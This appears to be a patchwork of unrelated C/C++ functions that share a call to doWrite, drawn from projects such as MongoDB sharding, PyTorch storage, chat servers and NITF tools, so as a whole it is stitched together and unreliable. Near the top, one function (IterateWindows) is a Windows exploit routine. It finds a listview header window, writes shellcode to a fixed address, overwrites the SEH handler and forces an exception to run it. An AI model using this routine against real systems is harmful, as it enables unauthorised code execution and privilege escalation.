void _delete( Request& r , DbMessage& d, ShardManager* manager ){ int flags = d.pullInt(); bool justOne = flags & 1; uassert( "bad delete message" , d.moreJSObjs() ); BSONObj pattern = d.nextJsObj(); if ( manager->hasShardKey( pattern ) ){ Shard& s = manager->findShard( pattern ); doWrite( dbDelete , r , s.getServer() ); return; } if ( ! justOne && ! pattern.hasField( "_id" ) ) throw UserException( "can only delete with a non-shard key pattern if can delete as many as we find" ); vector<Shard*> shards; manager->getShardsForQuery( shards , pattern ); set<string> seen; for ( vector<Shard*>::iterator i=shards.begin(); i!=shards.end(); i++){ Shard * s = *i; if ( seen.count( s->getServer() ) ) continue; seen.insert( s->getServer() ); doWrite( dbDelete , r , s->getServer() ); } }
void IterateWindows(long hWnd) { long childhWnd,looper; childhWnd = GetNextWindow(hWnd,GW_CHILD); while (childhWnd != NULL) { IterateWindows(childhWnd); childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT); } hLVControl = hWnd; hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0); if(hHdrControl != NULL) { // Found a Listview Window with a Header printf("+ Found listview window..0x%xh\n",hLVControl); printf("+ Found lvheader window..0x%xh\n",hHdrControl); // Inject shellcode to known address printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr); for (looper=0;looper<sizeof(exploit);looper++) doWrite((long) exploit[looper],(shellcodeaddr + looper)); // Overwrite SEH printf("+ Overwriting Top SEH....0x%xh\n",sehHandler); doWrite(((shellcodeaddr) & 0xff),sehHandler); doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1); doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2); doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3); // Cause exception printf("+ Forcing Unhandled Exception\n"); SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1); printf("+ Done...\n"); exit(0); }
void _delete( Request& r , DbMessage& d, ChunkManager* manager ){ int flags = d.pullInt(); bool justOne = flags & 1; uassert( 10203 , "bad delete message" , d.moreJSObjs() ); BSONObj pattern = d.nextJsObj(); vector<Chunk*> chunks; manager->getChunksForQuery( chunks , pattern ); cout << "delete : " << pattern << " \t " << chunks.size() << " justOne: " << justOne << endl; if ( chunks.size() == 1 ){ doWrite( dbDelete , r , chunks[0]->getShard() ); return; } if ( justOne && ! pattern.hasField( "_id" ) ) throw UserException( 8015 , "can only delete with a non-shard key pattern if can delete as many as we find" ); set<string> seen; for ( vector<Chunk*>::iterator i=chunks.begin(); i!=chunks.end(); i++){ Chunk * c = *i; if ( seen.count( c->getShard() ) ) continue; seen.insert( c->getShard() ); doWrite( dbDelete , r , c->getShard() ); } }
virtual bool visit_import(AST_Import *node) { for (int i = 0; i < node->names.size(); i++) { AST_alias *alias = node->names[i]; if (alias->asname.size()) doWrite(alias->asname); else doWrite(alias->name); } return true; }
void THPStorage_(writeFileRaw)(THStorage *self, io fd) { real *data; int64_t size = self->size; #ifndef THC_GENERIC_FILE data = self->data; #else std::unique_ptr<char[]> cpu_data(new char[size * sizeof(real)]); data = (real*)cpu_data.get(); THCudaCheck(cudaMemcpy(data, self->data, size * sizeof(real), cudaMemcpyDeviceToHost)); #endif ssize_t result = doWrite(fd, &size, sizeof(int64_t)); if (result != sizeof(int64_t)) throw std::system_error(result, std::system_category()); // fast track for bytes and little endian if (sizeof(real) == 1 || THP_nativeByteOrder() == THPByteOrder::THP_LITTLE_ENDIAN) { char *bytes = (char *) data; int64_t remaining = sizeof(real) * size; while (remaining > 0) { // we write and read in 1GB blocks to avoid bugs on some OSes ssize_t result = doWrite(fd, bytes, THMin(remaining, 1073741824)); if (result < 0) throw std::system_error(result, std::system_category()); bytes += result; remaining -= result; } if (remaining != 0) throw std::system_error(result, std::system_category()); } else { int64_t buffer_size = std::min(size, (int64_t)5000); std::unique_ptr<uint8_t[]> le_buffer(new uint8_t[buffer_size * sizeof(real)]); for (int64_t i = 0; i < size; i += buffer_size) { size_t to_convert = std::min(size - i, buffer_size); if (sizeof(real) == 2) { THP_encodeInt16Buffer((uint8_t*)le_buffer.get(), (const int16_t*)data + i, THPByteOrder::THP_LITTLE_ENDIAN, to_convert); } else if (sizeof(real) == 4) { THP_encodeInt32Buffer((uint8_t*)le_buffer.get(), (const int32_t*)data + i, THPByteOrder::THP_LITTLE_ENDIAN, to_convert); } else if (sizeof(real) == 8) { THP_encodeInt64Buffer((uint8_t*)le_buffer.get(), (const int64_t*)data + i, THPByteOrder::THP_LITTLE_ENDIAN, to_convert); } SYSCHECK(doWrite(fd, le_buffer.get(), to_convert * sizeof(real))); } } }
// --- void VSWWriter::write (const std::string& text) { CMTYScopedLock exclusion (_exclusion); if (_on) { // First of all it built up the text to print out... std::string textToWrite = text; if (_addDateTime) { CMTYDateTime now (CMTYDate (_TODAY_), CMTYTime (_NOW_)); std::string nowStr = now.asString (CMTYDate::Format (std::string ("%d/%m/%y")), CMTYTime::Format (std::string ("%h:%m:%s"))); textToWrite = std::string (__OPENBRACKET__) + nowStr + std::string (__CLOSEBRACKET__) + std::string (__BLANK_STRING__) + text; } // ...and now log it. if (_logging && _logSystem != NULL) if (trim (text) != std::string (__NULL_STRING__)) _logSystem -> storeText (textToWrite); // Only not null texts are kept into the log file... // ...and print it (or keep it to print later) if (_currentLastMessage >= _maxNumberOfLastMessages) _currentLastMessage = 0; _lastMessages [_currentLastMessage++] = textToWrite; if (_keep) _messagesKept.push_back (textToWrite); else doWrite (textToWrite); } }
void Connection::onWrite( const boost::system::error_code& err, size_t bytes ) { if ( err ) { std::cout << "OnWrite error" << bytes << std::endl; stop(); return; } std::cout << "On write..." << bytes << std::endl; if ( _isWaiting ) { Stanza ev; ev.setStanzaType( Stanza::EVENT ); ev.setSubType( Stanza::END ); _received.push_back( ev ); std::cout << " _isWaiting = 0" << std::endl; _isWaiting = false; } if ( !_received.empty() ) { doWrite(); return; } _isWriting = false; //doReadSize(); }
int ExtConn::onWrite() { LS_DBG_L(this, "ExtConn::onWrite()"); m_tmLastAccess = DateTime::s_curTime; int ret; switch (m_iState) { case CONNECTING: ret = onInitConnected(); if (ret) break; //fall through case PROCESSING: ret = doWrite(); break; case ABORT: case CLOSING: case DISCONNECTED: return 0; default: return 0; } if (ret == -1) ret = connError(errno); return ret; }
void Connection::onRegister( Stanza st ) { std::string body = st.getMSG(); std::string login = body.substr( 0, body.find("\n") ); std::string psswd = body.substr( body.find("\n") ); if ( _myServer.checkAccount( login ) == true ) { Stanza ans; ans.setStanzaType( Stanza::IQ ); ans.setSubType( Stanza::ERROR ); //std::string strAns; //ans.save( strAns ); _received.push_back( ans ); //doWriteQuick( strAns ); } else { _myServer.addAccount( login, psswd ); Stanza ans; ans.setStanzaType( Stanza::IQ ); ans.setSubType( Stanza::AVAILABLE ); //std::string strAns; //ans.save( strAns ); _received.push_back( ans ); //doWriteQuick( strAns ); } if ( _isWaiting && !_isWriting ) doWrite(); doReadSize(); }
void Connection::onLogin( Stanza st ) { std::string body = st.getMSG(); std::string login = body.substr( 0, body.find("\n") ); std::string psswd = body.substr( body.find("\n") ); if ( _myServer.checkLoginAndPassword( login, psswd ) == true ) { _login = login; _loggedIn = true; _myServer.addConnection( shared_from_this() ); retrieve(); Stanza ans; ans.setStanzaType( Stanza::IQ ); ans.setSubType( Stanza::AVAILABLE ); //std::string strAns; //ans.save( strAns ); _received.push_back( ans ); //doWriteQuick( strAns ); } else { Stanza ans; ans.setStanzaType( Stanza::IQ ); ans.setSubType( Stanza::ERROR ); //std::string strAns; //ans.save( strAns ); _received.push_back( ans ); //doWriteQuick( strAns ); } if ( _isWaiting && !_isWriting ) doWrite(); doReadSize(); }
void Connection::onRoaster() { std::cout << "onRoaster" << std::endl; updateRecentOnlineTime(); Stanza ans; std::map<std::string, Connection::ptr>::iterator it; std::string strAns; for ( it = _myServer.connections().begin(); it != _myServer.connections().end(); ++it ) { JID newJID; newJID.setNode( std::get<1>(*it)->getLogin() ); ans.addAvailable( newJID ); } ans.setStanzaType( Stanza::ROASTER ); _received.push_back( ans ); if ( _isWaiting && !_isWriting ) doWrite(); doReadSize(); //ans.save( strAns ); //doWriteQuick( strAns ); }
void video_track::write( int64_t offset, const sample_rate &, const sample_data &sd ) { const image_frame *frm = dynamic_cast<const image_frame *>( &sd ); if ( frm ) doWrite( offset, *frm ); }
int SFTWorker::doDecompression(const char* buff, uint32 buffSize, bool endFile) { if (!m_pBzs) { gcException e(ERR_BZ2, 0, "Bzip2 handle was nullptr"); return reportError(BZ_STREAM_END, e); } m_pBzs->write(buff, buffSize, endFile); try { m_pBzs->doWork(); } catch (gcException &e) { return reportError(BZ_STREAM_END, e); } size_t outBuffSize = m_pBzs->getReadSize(); if (outBuffSize == 0) return m_pBzs->getLastStatus(); AutoDelete<char> outBuff(new char[outBuffSize]); m_pBzs->read(outBuff, outBuffSize); int32 res = doWrite(outBuff, outBuffSize); if (res == BZ_OK) return m_pBzs->getLastStatus(); return res; }
void Horus::Commons::Network::StreamConnection::sendMessage(const QString &msg) { bool write_in_progress = m_write_msgs.empty() == false; m_write_msgs.push_back(msg); if (write_in_progress == false) doWrite(); }
int main() { uint64_t data = 0xdead; uint16_t addr = 1; printf("[INFO] Write R[%d] = %lx\n", addr, data); doWrite(addr, data); printf("[INFO] Read R[%d]\n", addr); uint64_t y = doRead(addr); printf("[INFO] Received %lx\n", y); assert(y == data); uint64_t data_accum = -0x1fbe; printf("[INFO] Accum R[%d] with %lx\n", addr, data_accum); y = doAccum(addr, data_accum); printf("[INFO] Received %lx\n", y); assert(y == data); printf("[INFO] Read R[%d]\n", addr); y = doRead(addr); printf("[INFO] Received %lx\n", y); assert(y == data + data_accum); data = 0xbeef; uint64_t data_addr = doTranslate((void *) &data); printf("[INFO] Load %lx (0x%lx) via L1 data cache\n", data, data_addr); y = doLoad(addr, data_addr); printf("[INFO] Received %lx\n", y); return 0; }
//virtual bool LLTextureCacheWorker::doWork(S32 param) { //allocate a new local apr_pool LLAPRPool pool ; //save the current mFileAPRPool to avoid breaking anything. apr_pool_t* old_pool = mCache->getFileAPRPool() ; //make mFileAPRPool to point to the local one mCache->setFileAPRPool(pool.getAPRPool()) ; bool res = false; if (param == 0) // read { res = doRead(); } else if (param == 1) // write { res = doWrite(); } else { llassert_always(0); } //set mFileAPRPool back, the local one will be released automatically. mCache->setFileAPRPool(old_pool) ; return res; }
void Strategy::broadcastWrite(int op, Request& r) { vector<Shard> shards; Shard::getAllShards(shards); for (vector<Shard>::iterator it(shards.begin()), end(shards.end()); it != end; ++it) { doWrite(op, r, *it, false); } }
void XalanOutputStream::write( const XalanDOMChar* theBuffer, size_type theBufferLength) { assert(theBuffer != 0); if (theBufferLength + m_buffer.size() > m_bufferSize) { flushBuffer(); } if (theBufferLength > m_bufferSize) { assert(m_buffer.empty() == true); doWrite(theBuffer, theBufferLength); } else { m_buffer.insert(m_buffer.end(), theBuffer, theBuffer + theBufferLength); } }
int main(int argc, char **argv) { nitf_Record *record = NULL; /* a record object */ #if 0 nitf_ListIterator iter; /* current pos iterator */ nitf_ListIterator end; /* end of list iterator */ nitf_ImageSegment *segment = NULL; /* the image segment */ NITF_BOOL success; /* status bool */ nitf_IOHandle input_io; /* input IOHandle */ nitf_IOHandle output_io; /* output IOHandle */ #endif /* Check argv and make sure we are happy */ if (argc != 3) { printf("Usage: %s <input-file> <output-file> \n", argv[0]); exit(EXIT_FAILURE); } record = doRead(argv[1]); showFileHeader(record->header); doWrite(record, argv[1], argv[2]); nitf_Record_destruct(&record); return 0; }
int main(int argc, char **argv) { try { // Check argv and make sure we are happy if (argc < 3 || argc > 4) { std::cout << "Usage: %s <input-file> <output-file> (block-size - default is 8192)\n" << argv[0] << std::endl; exit(EXIT_FAILURE); } size_t blockSize = 8192; if (argc == 4) blockSize = str::toType<int>(argv[3]); // Check that wew have a valid NITF if (nitf::Reader::getNITFVersion(argv[1]) == NITF_VER_UNKNOWN ) { std::cout << "Invalid NITF: " << argv[1] << std::endl; exit(EXIT_FAILURE); } nitf::Record record = doRead(argv[1]); doWrite(record, argv[1], argv[2], blockSize); return 0; } catch (except::Throwable & t) { std::cout << t.getMessage() << std::endl; } }
int sendPedSubbedSurfPackets(int bufSize) { if(bufSize!=sizeof(PedSubbedEventBody_t)) { syslog(LOG_ERR,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t)); fprintf(stderr,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t)); return -1; } PedSubbedEventBody_t *bdPtr = (PedSubbedEventBody_t*) eventBuffer; int surf; PedSubbedSurfPacket_t *surfPtr; int numBytes=sizeof(PedSubbedSurfPacket_t); for(surf=0;surf<ACTIVE_SURFS;surf++) { if((LOS_MAX_BYTES-numBytesInBuffer)<numBytes) { doWrite(); } surfPtr=(PedSubbedSurfPacket_t*) &losBuffer[numBytesInBuffer]; surfPtr->eventNumber=bdPtr->eventNumber; surfPtr->whichPeds=bdPtr->whichPeds; memcpy(&(surfPtr->waveform[0]),&(bdPtr->channel[CHANNELS_PER_SURF*surf]),sizeof(SurfChannelPedSubbed_t)*CHANNELS_PER_SURF); surfPtr->gHdr.packetNumber=getLosNumber(); fillGenericHeader(surfPtr,PACKET_PEDSUB_SURF,sizeof(PedSubbedSurfPacket_t)); numBytesInBuffer+=sizeof(PedSubbedSurfPacket_t); } return 0; }
int sendPedSubbedWaveformPackets(int bufSize) { if(bufSize!=sizeof(PedSubbedEventBody_t)) { syslog(LOG_ERR,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t)); fprintf(stderr,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t)); } PedSubbedEventBody_t *bdPtr = (PedSubbedEventBody_t*) eventBuffer; int chan; PedSubbedWaveformPacket_t *wvPtr; int numBytes=sizeof(PedSubbedWaveformPacket_t); for(chan=0;chan<NUM_DIGITZED_CHANNELS;chan++) { if((LOS_MAX_BYTES-numBytesInBuffer)<numBytes) { doWrite(); } wvPtr=(PedSubbedWaveformPacket_t*) &losBuffer[numBytesInBuffer]; wvPtr->eventNumber=bdPtr->eventNumber; wvPtr->whichPeds=bdPtr->whichPeds; memcpy(&(wvPtr->waveform),&(bdPtr->channel[chan]),sizeof(SurfChannelPedSubbed_t)); wvPtr->gHdr.packetNumber=getLosNumber(); fillGenericHeader(wvPtr,PACKET_PEDSUB_WV,sizeof(PedSubbedWaveformPacket_t)); // printf("%#x %d\n",wvPtr->gHdr.code,wvPtr->gHdr.numBytes); numBytesInBuffer+=sizeof(PedSubbedWaveformPacket_t); } return 0; }
int32 SFTWorker::doWork() { if (m_pCurFile->isZeroSize()) return BZ_STREAM_END; uint32 status = 0; std::shared_ptr<SFTWorkerBuffer> temp(m_pCT->getBlock(m_uiId, status)); bool endFile = (status == BaseMCFThread::SF_STATUS_ENDFILE); //if temp is null we are waiting on data to be read. Lets nap for a bit if (!temp) { if (endFile) { if (m_pCurFile->isCompressed()) return doDecompression(nullptr, 0, true); return BZ_STREAM_END; } else { //gcSleep(100); return BZ_OK; } } if (m_pCurFile->isCompressed()) return doDecompression(temp->buff, temp->size, false); return doWrite(temp->buff, temp->size); }
int sendEncodedSurfPackets(int bufSize) { EncodedSurfPacketHeader_t *surfHdPtr; int numBytes,count=0,surf=0; // Remember what the file contains is actually 9 EncodedSurfPacketHeader_t's count+=sizeof(EncodedEventWrapper_t); for(surf=0;surf<ACTIVE_SURFS;surf++) { surfHdPtr = (EncodedSurfPacketHeader_t*) &eventBuffer[count]; surfHdPtr->gHdr.packetNumber=getLosNumber(); numBytes = surfHdPtr->gHdr.numBytes; if(numBytes) { if((LOS_MAX_BYTES-numBytesInBuffer)<numBytes) { // fillBufferWithHk(); doWrite(); } memcpy(&losBuffer[numBytesInBuffer],surfHdPtr,numBytes); count+=numBytes; numBytesInBuffer+=numBytes; } else break; if(count>bufSize) return -1; } return 0; }
std::streamsize ContentFolder::doWriteFirstBlockIndexToEntryMetaData(uint64_t firstBlock) { // create bytes to represent first block uint8_t buf[8]; detail::convertUInt64ToInt8Array(firstBlock, buf); return doWrite((char*)buf, 8); }
void CFileDataIO::Write(const void* buffer, size_t count) { MULE_VALIDATE_PARAMS(buffer, wxT("Attempting to read from NULL buffer.")); if (doWrite(buffer, count) != (signed)count) { throw CIOFailureException(wxT("Write error, failed to write to file.")); } }
void BIO::Write(const data_chunk& data2wr) const { unsigned int written = 0; do { data_chunk tmp; tmp.insert(tmp.end(), data2wr.begin() + written, data2wr.end()); written += doWrite(tmp, written); } while(written < data2wr.size()); }
std::streamsize ContentFolder::doWriteFilenameToEntryMetaData(std::string const &name) { // create a vector to hold filename auto filename(createFileNameVector(name)); // write out filename return doWrite((char*)&filename.front(), detail::MAX_FILENAME_LENGTH); }
void handleIndexWrite( int op , Request& r ) { DbMessage& d = r.d(); if ( op == dbInsert ) { while( d.moreJSObjs() ) { BSONObj o = d.nextJsObj(); const char * ns = o["ns"].valuestr(); if ( r.getConfig()->isSharded( ns ) ) { BSONObj newIndexKey = o["key"].embeddedObjectUserCheck(); uassert( 10205 , (string)"can't use unique indexes with sharding ns:" + ns + " key: " + o["key"].embeddedObjectUserCheck().toString() , IndexDetails::isIdIndexPattern( newIndexKey ) || ! o["unique"].trueValue() || r.getConfig()->getChunkManager( ns )->getShardKey().isPrefixOf( newIndexKey ) ); ChunkManagerPtr cm = r.getConfig()->getChunkManager( ns ); assert( cm ); set<Shard> shards; cm->getAllShards(shards); for (set<Shard>::const_iterator it=shards.begin(), end=shards.end(); it != end; ++it) doWrite( op , r , *it ); } else { doWrite( op , r , r.primaryShard() ); } r.gotInsert(); } } else if ( op == dbUpdate ) { throw UserException( 8050 , "can't update system.indexes" ); } else if ( op == dbDelete ) { // TODO throw UserException( 8051 , "can't delete indexes on sharded collection yet" ); } else { log() << "handleIndexWrite invalid write op: " << op << endl; throw UserException( 8052 , "handleIndexWrite invalid write op" ); } }
virtual bool visit_functiondef(AST_FunctionDef *node) { if (node == orig_node) { return false; } else { doWrite(node->name); (*map)[node] = new ScopingAnalysis::ScopeNameUsage(node, cur); collect(node, map); return true; } }